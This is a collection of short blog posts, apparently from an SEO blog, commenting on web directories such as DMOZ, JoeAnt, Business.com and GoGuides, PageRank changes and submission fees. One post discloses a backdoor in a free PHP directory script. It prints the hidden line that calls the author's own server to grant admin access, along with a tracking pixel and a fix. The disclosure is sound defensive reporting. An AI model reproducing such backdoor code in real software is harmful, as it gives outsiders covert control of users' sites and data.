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Ah, DMOZ.

Whilst I was scanning through Barry's blog at SEL, I came across this post he mentioned entitled R-E-S-P-E-C-T for DMOZ.

A DMOZ editor complains "Everybody loves Google, everybody loves Wikipedia - so why doesn't everybody love DMOZ?"

My blog post would be rather long if I listed all the reasons why I think people don't love DMOZ, so I'll stick to fisking the contents of the editors post.

For those who don't know what DMOZ is, and that would be the vast majority of web users, DMOZ is a largely redundant internet directory that came about back when Yahoo! Directory was too slow at processing listing requests.

Webmasters familiar with DMOZ will appreciate the obvious irony, given that you can now get a Yahoo Directory listing in a couple of days, whereas DMOZ is a hit and miss affair, specializing mostly in "miss".

Let's take a look at the points raised:

Ask people how they search the web, and most will tell you what Google does well, what Wikipedia does well - and what DMOZ doesn't do well.

Ask people how they search the web, and you'll be hard pressed to find anyone who knows what DMOZ is, let alone outline it's faults.

The reasons for that will become obvious.

Perhaps you heard something on the news about the Somali pirates and want to learn more. .... Now what about Somalia in general? How did it get to this point? What's the history of the country, and what's going on with their government? How do you find answers to these questions without wasting a lot of time? This is where DMOZ shines....you can go to DMOZ's Somalia category. Start with Guides and Directories to find background information.

Students of philosophy will recognize this as an argument by selective observation. Cherry picking, in other words.

Well, it would have been had the author cherry picked an example that actually supported her argument. If you go into the recommended category, Africa/Somalia/, what will you find?

One listing.

For Wikipedia.

You just couldn't make this stuff up.

One could go into the sub categories, and whilst there are some useful listings there, there is nothing I couldn't find in greater detail in Google or Wikipedia. Helpfully, DMOZ frequently suggests I actually go to Wikipedia instead.

Who am I to argue?

Anyway, let's compare another search to see how well DMOZ does.

If I want to find out about SEO, I get presented with this category Web Design and Development: Promotion

Whilst there are some fine resources listed there, is this a useful reflection of SEO in 2009? Who are Majon International, for example? Why is Eric Ward seemingly the center of the SEO universe? Nothing against Eric, BTW.

Likewise, if I want to find out about New Zealand, it seems that "Hallidays Timber Limited" is very important, as they are the only site listed at the top level, as is - of all things - Usenet.

I could go on.

I'm sure there are great DMOZ categories, but like all things DMOZ, it's very much a hit and miss affair. Wikipedia and Google are a lot more "hit", and a lot less "miss", which is why people use them, and not DMOZ.

Sometimes they use 'relevant' keywords and page titles to game the system and achieve a higher ranking than they really deserve

Couldn't let that one go.

Apparently using keywords and page titles "games" the system. If they thought that were true, then why is DMOZ supposedly ""gaming the system" using titles and relevant keywords, too?

DMOZ certainly does irony well.

There's all sorts of relevant information to be found on the web, and the broader the topic the more useful DMOZ is.

Well, quite frankly, no it isn't.

If I want broad information, I use Wikipedia.

Wikipedia is infinitely more useful than DMOZ because it solved the problem DMOZ failed to do. It ran an editing system that anyone could contribute to easily, thus creating enormous value in terms of relevant, timely content. Updating and editorial was both transparent and immediate, which needs to happen, lest the information become outdated.

DMOZ chose to place editorial control in the hands of a small cabal of editors, and in so doing, made the directory opaque, unresponsive, and outdated.

That's the final irony.

The editorial policy of DMOZ killed DMOZ.

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[Update: After I made this post, Google engineers fixed JoeAnt's PageRank. Thanks Google!]

I just noticed that JoeAnt is now a PageRank 3. I have submitted hundreds of sites to hundreds of directories. For sites at the lower end of the quality spectrum (lets just call some of my experience academic) I simply would not submit them to JoeAnt, because I knew they would not list them. Many of those same lower quality sites were accepted in other directories like Business.com and the Yahoo! Directory.

While JoeAnt's editorial guidelines generally enforced higher quality than most directories, here are some of the things that may have hurt them when they were compared to the few general directories which have not had their PageRank scores edited:

• smaller size
• limited partnerships with other businesses
• a lower price-point, which may have lowered the perceived value by the right customers and attracted some of the wrong customers
• a name that sounded playful, rather than being business oriented
• a smaller advertising budget
• limited brand strength

I used to track 100s of general directories, and now I believe about 5 of them are showing their natural PageRank scores. The rest have been hand edited. Many of them were quite abusive and deserved to have their PageRank scores edited, but not JoeAnt, IMHO.

With so many of the clean link sources getting edited by Google, it is getting much harder for small businesses to compete with larger businesses for keywords on the commercial web unless they are ran by publicity whores. I am not sure if Google thinks that enhances information quality or helps mom and pop webmaster provide better services, but I guess we will see in a few years. The ironic part of it all is that if they force everyone to become marketing experts and PR agents to compete, then they undermine the long-term value of (and the need for) their paid search ads.

Why did a Google engineer chose to hand edit JoeAnt's PageRank score when similar directories with lower editorial standards like the Yahoo! Directory and Business.com did not get edited?

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In a recent interview Jessica Bowman offered the following Business.com coupon code: AVIVA, which is good for 20% off Business.com directory listings. Inclusion typically costs $199 a year, so with the coupon you would pay $159 for your submission.

Another nugget from the interview:

We currently have five editors and one editorial manager out of a total staff of nearly 100 employees, and all Business.com listings, whether pay-per-click Featured Listings or internet directory Standard Listings, are reviewed by a member of our Editorial Team.

Not bad margins on that business model if all the listings are wrapped in Google PPC ads and it only takes 6 editors to review it.

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I have always been a big fan of JoeAnt.com. So sad to see so many thin affiliate sites in the recently added box, and then get a second round of shock to see AdSense top and to the left on the individual category level pages. What leads webmasters to demote their hard build sites into a status of irrelevancy?

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You can now submit your site to the Open Directory Project again. Submissions were down for a while.

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The day after the founder posts about the death of DMOZ they are back online with editing open, but new URL submissions are still down.

Thanks to Martjin.

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SEO Question: Is a Yahoo! Directory registration worth it? How do I know what directories are worthwhile? What directories should I submit to? Do you have any good site submission tips?

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Recently it was noted that Business.com started using nofollow on many of their outbound links.

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With Zeal recently closing (I think Looksmart are dumb to have closed it) some people have recently been questioning the value of directories.

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Skaffe has $2 submissions for the next 2 days to celebrate their 2 year anniversary.

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DMOZ meta editor Hutcheson likely a fake posts about the fading of DMOZ:

The biggest decline in the quality of the web in recent years can be traced to the devaluation of ODP, and with it, the esteem of the hard-working editors who created the directory. We’re no longer the kings and queens of the web the way we once were. It is depressing, because while it lasted, being an editor at DMOZ was the mountain-topping experience of my life.

Many of use live on disability settlements and workmans comp. DMOZ is a job we can do from home; we feel important and that we are contributing to society; and the volunteer status means any income from the project is off the books and won’t threaten our disability pay.

I truly believed we were the gatekeepers of the internet: those entrusted to identify which sites were worthy. The inescapable truth is that we are no longer as important as we once were, and it is a blow to my self-identity.

I think I was duped ;) hutcheson said it wasn't him.

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I was just looking through the Google Directory and noticed there are less than 10 DMOZ listed volunteer edited general directories, and even some of those are no good.

With all the rubbish spend $19.99 and get your link here general directories that have sprung up I find it a bit perplexing that there are so few profitable general directories. Are they being replaced by folksonomies & the wisdom of crowds? Is it just far more profitable to blog on your favorite subjects?

A while ago I said I thought directories would become more Wiki like, but other than Wikipedia I can't think of any general wikis that have really taken off, and there hasn't been a decent general directory launched in what, about a year.

I think a large reason for the demise is most people willing to work for free to organize information probably want to be able to say more than a sentence or two about the topic.

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Some directories home pages see their Google cache come and go.

Others may see their Google cache disappear for a while out of nowhere.

Recently when people mentioned that some of O'Reilly's websites were selling off topic text ads Tim referenced a couple directories in a negative light. Now one of the directories that has been advertising on the XML.com website since January is no longer cached in Google.

When thinking of advertising off topic on a high profile sites keep in mind that sometimes search engines may not take action on certain things, and then may be forced into taking action by third party plublicity.

Site Sift has a database of around 17,000 websites, but if Google gives a directory a PageRank of 0, even temporarily, it may have a profoundly negative effect of the profitability of running that directory.

Site Sift also had a couple sitewide footer link to sites on expensive topics, which may have also been the reason for the recent problems with Google, but the timing of the PageRank removal was close to the O'Reilly link selling news.

I don't think it is bad to buy or sell links, but when you go exceptionally off topic with ads you have to expect that search engines will deweight your links. If you purchase a number of high profile off topic links that come under public scrutiny those links may end up costing you a lot more than you paid.

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My friend Brad runs a good number of vertical directories and wonders how they will change going forward.

I think over time the directories that are
link info
link info
link info
will continue to erode in significance.

Using link info link info is a hard setup to display the personality of the site owner unless there is also some editorial information portion of the page or site. With the low cost of publishing information (or misinformation) and well over half the web being for profit spam it is hard to trust anything.

If a site is without personality it may as well be created algorithmically.

Yet when a single person has to do everything it can become easy to burn out. How do you create social incentives to make others want to build your site / network while still preserving the quality of the content?

One area where I really feel like I am cheating myself, and the readers of my book or this site is that I have not created any communities from scratch or tapped the user driven content market yet.

The lone wolf blog with a personal voice getting a few random comments here and there is cool, but those who can create software or social systems that others inherantly want to work with will do far better than the average blogger like me.

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Google Hijacked in Google:
Official Google AdSense site bit by a meta refresh. hmm. Low quality site? more at ThreadWatch

For those who spin all the ethics stuff, do you think Google knew of the problem and was lying when they said it was no big deal? If so, is it ethical for them to tell blatent lies? If not, how is it that SEOs know more about their search engine than they do and they generally disocunt the whole concept of SEO?

Yahoo! Q Challenge:
whats up with a $5,000 prize - that surely is not much payout for the value they could create with that contest. I might need to create a similar marketing program for myself. hehehe

Exalead:
Michael Nguyen posts about some of their search features.

Novice Spam Tool:
I have not tried it, but someone promoted this site http://searchpr.info/test.php, via forum spam of course.

Yahoo! Public Site Match:
Nothing more than a PR stunt? It sure smells the part. A while ago they promoted that program a good bit, but it sure is hard to find information about it nowadays.

Masochistic Behavior:
reading IHY forums. I don't know anywhere else where a single comment can return pages about what a horrible person you are. SEO is doomed. We are all evil. hehehe

Lots of good ones in that rant thread, but one of my all time favorite Doug quote:

Most journalists I know of at least fall on one side or the other.

Another scary thing with that thread is I find myself agreeing with Glengara!

Open Source Rank Checker:
I have not tried it, but a friend pointed me to this software. I am not sure how it plays with Google, since they have been blocking some automated software.

OPD Should Close Shop?
Danny Sullivan weighs in on the ODP's recent site submission status closure.

Black Market Porn:
UK bans selling porn DVDs over the web. UK prostitution market to soar ;)

Funny:
There is a website that qualifies you and prints out your ordained ministor certification in under a minute. A person today tried to justify me giving away my business model to them because they spent the minute to print one out.

Evolution of Yahoo! Search:
article about Yahoo! creating their search service. thnx to RC

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Portalized:
Google offers portalization of Google.com. Danny Sullivan has an in depth review. They have a number of features and intend to add many, such as RSS feed support.

Stemming:
Rand points out a post by Xan on stemming and a free online stemming tool

DMOZ:
kills the submission status review. Now its even easier to be corrupt ;)

New York Times:
Begins charging for some of their content. Most of their content remains free. They are also replacing the CEO of About.com.

When Not to Submit to Directories:
when a person creates about a half dozen general directories and promotes them all together. that is not building value, that is trying to cash out and milk the web.

Many directory owners have become exceedingly greedy recently. All the while search algorithms continue to advance and few of the directory owners are actually trying to build any legitimate value.

The Search:
You can pre order John Battelle's new book. He said if you use this link he may be able to autograph it for you, assuming he can work out the shipping details.

The Size of Google's Index:
might have been a bit frothy

Google Factory Tour:
video presentations (should be up soon), Philip Lessen has highlights

Mirago AdSense:
Apparently they have a product similar to AdSense, which might be useful for companies like HotNacho.

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Abut a week ago I interviewed my buddy Shawn Walters, asking him why he jumped on the web, and all about his new somewhat new and fast growing Uncover the Net directory, including questions about finding editors, regrets, surprises, and compairing Overture to AdSense. Here is an example question:

When you first launched you had AdSense ads on UTN. Later you switched to Overture feeds. What do you like and dislike about each program?

Overall, I would have to say I like Overture more, if nothing else simply because of the ability to integrate the ads into the directory in a seamless fashion.

I don’t like the fact that Adsense is so strict on its rules, and how it’s a predetermined size in a JavaScript code. Google is a great company, but everyone I talked to at Adsense is so scared of saying what it is on their mind (and actually helping me) almost seemed like they asked an attorney before they reply to each and every email. Heck, for all I know maybe they do, but that makes for horrible customer service.

With Overture, I have my own rep that helps me with reports, integration and is a real person who treats me like a person not client # 1234567879.

Read more of the interview.

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So a new general directory owner or manager feels all listed sites should link back to them and is willing to delete the entire database if they have to.

Bet that adds value to their site. Good way to "build" a directory, eh.

What ever happened to the old concept of building value and then extracting profits from it?

Fun email sequence in the extended entry...

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Google 4th Quarter:

• Blew expectations out of the water. Q4 profits grow 7 fold to 71 cents a share. Billion dollar quarter

• investor webcast here
• Google Founders' Awards

Yahoo! Japan Blogs:
Yahoo Japan has beaten Yahoo to the blogosphere

Down Under:
Australian SEM Conference

DMOZ Post:
NickW finds Black Knight's what is wrong with DMOZ post ;)

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So there have been an arse ton of new directories to hit the market.

I think listing sites in many of these will surely improve your Yahoo! and MSN search relevancy scores (or at least my own experiences have shown that), but I do not think many of them carry anywhere near as much weight with Google.

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Another SEO Conference:
Lots of good stuff at Threadwatch, including the announcement that ThreadWatch to have a free SEO conference end of May.

Google Loses Trademark Case in France:
A French court has ruled that Google must refrain from using the trademarks of European resort chain Le Meridian Hotels and Resorts to trigger keyword ads.

DMOZ Lists Directories: Rubber Stamped & WebAtlas...
Were both recently listed in DMOZ.

Peter D gets help from "the man" himself, and quickly finds that you can't be a successful person in the SEO space without having at least 1 hate thread from the fine folks at IHU.

In spite of Doug's whining to DMOZ Rubberstamped is still listed.

Stop the Spread of Viral Linkage Data:
Link Condom...the WikiPedia is one of the first sites to adopt the new policy :(

AdWords Changes to Come:
Google to Give AdWords API to Advertisers
Google is about to unveil a completely revamped Adwords/Adsense program to counter inroads from competitors such as Kanoodle

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Sometimes when people apply to DMOZ they spend a half hour filling out the application and then hit submit. In return they get stuff like:

There has been a failure in processing your form. We will work on it, we hope to have it up soon.
We are sorry for the inconvenience.

Why make a person wait until AFTER they filled out all their info to tell them they are SOL?

You probably know when it is broken, why not just state that up front?

Leaving a broken form up which wastes time does not make the directory any more open...it actually probably closes off a bunch of potential editors. Wasting people's time only builds negative sentiment.

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Bummer Deal for WebAtlas:
I have been visiting friends (in fact I am at a friends house typing this right now), but I have checked my email and recently my friend Nandini's directory was not listed in Google. I believe it had a 302 redirect error (pointing the root URL at the www. version) which was fixed, but it may take a while for the site to be reindexed. Business.com had a similar issue not too long ago if memory serves.

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Google Suggest:
new search tool suggests how to finish your search query. It uses various information to predict what query would be most likely to fit what you are searching for. I suppose its kinda like a mini keyword suggestion tool. (found on Threadwatch)

Grassroots Journalism:
Dan Gillmore is to create a citizen-journalism project.

Yahoo! Desktop Search:
Yahoo! Partners with X1 for Desktop Search

AdWords Competitive Analysis:
I while ago I mentioned AdGooroo...recently they created a business model where you can get competitive analysis by the word for $2 a month per word. If you have a few exceptionally competitive AdWords words perhaps this can help you gain a broader view of the competitive landscape at a cheap price. I do not believe this system is endorsed or approved by Google in any way, but it may help provide you some useful data at a good price.

Top Tips for Spammers at ihelpyou:
ihelpyou forums proudly displays the latest SPAM techniques...

New Directory:
Bruce Stone (of Wow Directory) decided to create another directory that focuses on professional business websites. Currently Wow Yellow Pages is offering free submissions, so submit your site today.

Google Georgia:
A new secret datacenter...

DVD Rentals:
Amazon UK joins the fray (from Greg)

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Web Atlas
Today my friend Nandini launched Web Atlas. She built the directory and directory script from the ground up. There still are a few minor cross browser bugs [added: she fixed them already], but overall it looks like she did a great job. She announced the launch of Web Atlas on V7N earlier today.

Currently there is a one time submission fee of $10 to submit your site to Web Atlas. [added: a good deal with Web Atlas is that you can get links pointing to 5 different pages of your site for a single one time registration fee]

Uncover the Net
Uncover the Net is a new directory created by my buddy Shawn Steele. Uncover the Net currently charges a one time $10 submission fee.

Site Sift
Site Sift is another new directory which currently charges a one time $13 submission fee.

Abilogic
Abilogic is another newer directory which is still currently allowing free submissions.

SevenSeek
SevenSeek is not a new directory, but I think Google updated PageRank the day after I last posted about a bunch of directories. SevenSeek gained a PageRank 7 right out of the gate. SevenSeek currently charges a one time $40 submission fee.

Directory Archives
This site is not new, but this is just a reminder post...if you know of any directories which:

• Are the authoritative directory in their field; or

• Provide static links that search engines can follow and are not full of sitewide viagra links please submit them to Directory Archives.

Also, traffic has been picking up decently at Directory Archives. Sometimes when I add stuff it later becomes garbage. While I try to look through it rather often sometimes I miss stuff. If you see any junk sites listed in Directory Archives please send me an email and I will try to get them removed rather quickly.

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I am one of the many people who focus way too much on search engines and do not always give adequate coverage to directories. I was going to wait until Google updated PageRank before I mentioned a bunch of the newer directories, but here is my brief recap of recent directory news.

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Because it is pretty damn bogus.

[update: Javier has removed the database access egg from his script.]

Tons of new directories are springing up using the Free PHP Directory Script created by Javier García Esteban (of Directory-Search or Biz-Directory). While his download page states "the script runs without known bugs with PHP4 and MySQL3," the script also ran with known eggs put in the programming.

Anyone who puts eggs in their software so they can have backdoor access to anyone using it does not have the best intentions for their users.

The two eggs I have been told about are:

• on line 62 of install_4.php - sends a referer to his directory
  
  <IMG SRC="http://www.directory-search.org/img/invis.gif" WIDTH=1 HEIGHT=1>

• on line 60 of include.php (must scroll to the right) - allowed Javier database access
  
  if ($pass) { $access = fopen ("http://www.directory-search.org/include_variables.php?p=$pass","r"); $access = fread($access,4); if ($access == "true"){ session_start(); $HTTP_SESSION_VARS['admin'] = true; header("Location: {$dir}admin_edit.php"); }; };

The first egg is harmless. It only identifies new installations. The second egg gave Javier access to your database.

The eggs are not hard to remove from the directory script. If you have an old version of the script you may want to remove the eggs.

• You can replace the image in the first egg with your own image or just delete that line of code. That first egg really is no big deal.

• The second egg is complete crap. [added: The second egg gives Javier backdoor access to the script. After I posted this Javier stated that he removed that egg. It is a shame that it was ever there in the first place.]

  To remove the second egg you need to remove that above part on line 60 (scroll way to the right) of include.php and replace it with:
  if ($pass) {
  $rand = md5(time());
  $access = fopen ("p=$rand","r");
  $access = fread($access,4);
  if ($access == "true") {
  session_start();
  $HTTP_SESSION_VARS['admin'] = true;
  header("Location: {$dir}admin_edit.php");
  };
  };
  (at least this is what I did)
  I also changed my PHPmyAdmin panel login password after I changed the script. Javier stated that the password was never sent even when the egg was there...he just was using it for backdoor access...as he states in his comment below. He also stated the place which was sent the database access is now a 404 error.

Thanks to MarketingLady at V7N forums. More info about the Free PHP Directory Script Backdoor.

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Best of luck to Bruce and whoever wants to play in his contest.

The blog contest is for blogs with the best social movement or social conscience related theme. Blogs will be judged by viewers through e-mail.

More info on the blog contest @ http://www.wowdirectory.com/bestblog.htm

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Yahoo! Uses ODP data to improve search relevancy.

Yahoo! leverages the Open Directory Project (ODP) to further improve the user experience on distribution partner sites. ODP title, description and category meta data is used to enhance Yahoo!'s relevant search results.

Also the ODP is now accepting Atom and RSS feeds. They may be submitted just like normal web pages or websites and whatnot...

Found on the ODP Blog.

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Read this great thread from the DMOZ support forum.

Also, why does my town's localities page have (UPDATE: now is a had - Resource Zone has sent many editors to this page and my town has since been fixed) a medical transcription listing in it? I can't believe there is a huge college in this town and nobody is the DMOZ editor...

Hi DMOZ editors :)

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Wow Directory is a brand new directory created by Bruce Stone (who also works with Skaffe.) The aim of his directory is to help smaller businesses get a web presence at an affordable price.

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You can submit your site to the new MicroSoft bCentral directory for the annual inclusion rate of $49.

"A listing for your business includes:

• One main directory listing that includes up to 4 links to your web site

• Placement of your listing in up to 3 relevant directory categories
• An optional business card (simple web page) that lists your business contact information, description, and up to 8 additional links that allow your to promote your products and services "

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Now the super powers of search are:
Google
Yahoo!
& soon to be MSN

Yahoo! uses the Yahoo Directory to add relevancy to its search.
Google uses the Open Directory to add relevancy to its search.
MSN will eventually use their brand spankin new MSN directory which they have been starting from scratch.
(found in Highranking Forum)

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Web Beacon is a spankin new web directory which was built off of the same core data as GoGuides.

Helping Out

They do not have any editors yet so go get the category of your choice. Web Beacon has the same $39.99 one time listing fee as GoGuides, but no PageRank. I am going to give it a few links here and there to help bump them up to at least a 5 :)

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GoGuides has created a "Submission Specialist Membership" program which allows web designers or search engine marketers to get a bulk discount on site submissions.

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Bad luck brought to you by the letter L.

Room for Rent Lycos is renting some of its office space to cut costs. (no relation to the movie)

Shedding Shares LookSmart is not looking very smart...at least their stock is well, um, falling (like the London bridge)

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This is a list of Major Web Directories and reviewed web guides.

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Yesterday over at SearchEngineJournal they wrote about LookSmart. Here is part of the interview from the email they quoted

ACL: Where are LookListings distributed?

TM: LookSmart has always provided a highly relevant search product, and therefore attracts quality distribution partners.

It is always fun when a speaker gets just enough corporate speak in there to show you that they are programmed chat bots.

"LookSmart has always provided a highly relevant search product"
Why again did greedy MSN drop your listings?

Why is Overture taking over most of your business in Australia?

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I keep reading these marketing books which say that markets are conversations and over at SearchGuild we recently had two distinctly different types of people come to the forums. Each came to represent their product and they fared way differently.

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Ouch! Their CEO has steped down and their workforce has been choped in half.

Artistic, not so much garbage origami but more Just Paper Roses.

Snappy "TELSTRA snapped up local operations of LookSmart yesterday, barely a week after the shrinking Australian internet pioneer lost the customer that delivered two-thirds of its revenue."

Telestra is also the owner of popular the local search website and technology behind Citysearch.

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From Research BUZZ...

Useful little listing of Blog Search Engines and Blog Directories...

There are only a few major players in this field. Look for this to change drastically this year with the advent of other blog directories such as Kinja

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Here is another one of my articles. This one talks about the strugles that face directories today.

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GoGuides has turned on the free site submit option. While they are still working on rebuilding the directory technology they are accepting free submissions.

GoGuides is a somewhat selective directory, but it can't hurt to try to submit for free...On October 21st Skaffe split from GoGuides and both are now in a heated battle for editor and public support. It is in my estimation that both GoGuides and Skaffe will be excellent and highly responsive directories in the near term due to direct competition with one another.

Many think neither directory has the ability to survive on its own, but if they both have amazing customer service they will most likely wind up as two of the top half dozen directories on the web...Who says you can't win em all?

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Just a reminder to those who do not have good Inktomi placement that MSN is to be dumping LookSmart in about a half a month (Jan 15). Some speculate that MSN may want to eventually shift to Ask Jeeves until it gets its technology in order.

I presume that MSN will stick with Inktomi until it builds its own technology. With Yahoo desiring to part ways with Google it is certain they will be investing heavily into making Inktomi a competitive product.

MSN will become competitve and remain so by the natural market forces of competition between Yahoo and Google... until it creates its own search product... You can check your Inktomi placement using Hotbot on its default setting, or by useing Pure Search provided by PositionTech.

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Recently Skaffe and GoGuides split ownership. Many have speculated that neither directory will be able to exist with split resources.

Today I submitted a friends website (Paradise Maui) to Skaffe and today I got an email reply stating the submission was accepted to the category I submitted using the exact text I submitted it with.

With the frustration many other directories offer, (such as DMOZ) this is an exceptionally refreshing approach, which forces me to give free advertising to Skaffe! You can submit your site either by becoming an editor or paying a one time $39.99 fee to have your site reviewed. 4 out of every 24 hours will also have a limited time free review open!

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With the current change in the Google Algorithm it is apparent that a better way to make money off the interent may be by running ads in a directory of something that intersts you instead of trying to convert customers and make sales. If those in charge of information distribution on the interenet dictate that they want to lead people to information vice commerce it would not be that hard to comply :)

With that being said, I recently asked for "Software to make a directory" at the Highrankings Forums.

Jill recommended Free PHP Directory Script
a couple other recommended products:
Link Department
PHPhoo

My biggest complaint with the first version is that the full feature version costs $700. They would actually sell quite a few coppies if they were smart enough to drop the price to around $100.

I am going to try out a few of the others before I go too far with the first one...just to see what they are like. From my guess Link Department will end up being my favorite of the three (after I actually try it).

In a few weeks I will unveil a few new directories and which script is my favorite.

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As if loosing MSN was not bad enough, Looksmart announced that Sprinks and Inktomi do not have plans to renew their contracts either.

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LookSmart has lost most of its competitive advantages and is now loosing 2/3 of its revenue as MSN dumps them. They are aiming to cut costs to survive the storm...LookSmart flag at Half Staff

I suggest LookSmart does the unthinkable and change their business model one more time. Have ads be pay per click. Have the directory build free be their biggest asset, the Zeal community. Make commercial listings in the regular directory either free or low cost 1 time fee.

In doing this LookSmart would be able to provide relevancy and ads. Often times the two do not mix well when sold as a directory. Google, Yahoo, and most other major search engines (except meta search engines) are trying to keep ads seperate from listings. Either LookSmart, or everyone else in the search field is wrong...

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Hotrate was recently sold. The new owner of Illumirate (Barbara York) emailed me today announcing the new directory.

I asked why she did not pick a more memorable name and am awaiting a response.

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About a month after a management shakeout, GoGuides is on sale to the highest bidder.

On their home page it reads "Notice: GoGuides.Org is for sale! If you think you have what it takes to run one of the fastest growing and most popular human edited directories on the net then this opportunity is for you. Offers will be accepted till 12-3-03. If the minimum reserve price is not met the directory will not be sold. If the directory is sold the buyer must agree to continue running all advertisement, all listings, and agree to continue developing this directory as a spam free community. Minimum Bid Price: $10,000.00 US Dollars. All offers must accompany a 20% down payment of the bid amount via paypal to be considered legitimate. For more information contact us at teamsupport@goguides.org with your offered bid."

Also this is a continuation of my old school blog that was part of my other site. To it, this blog pays homage.

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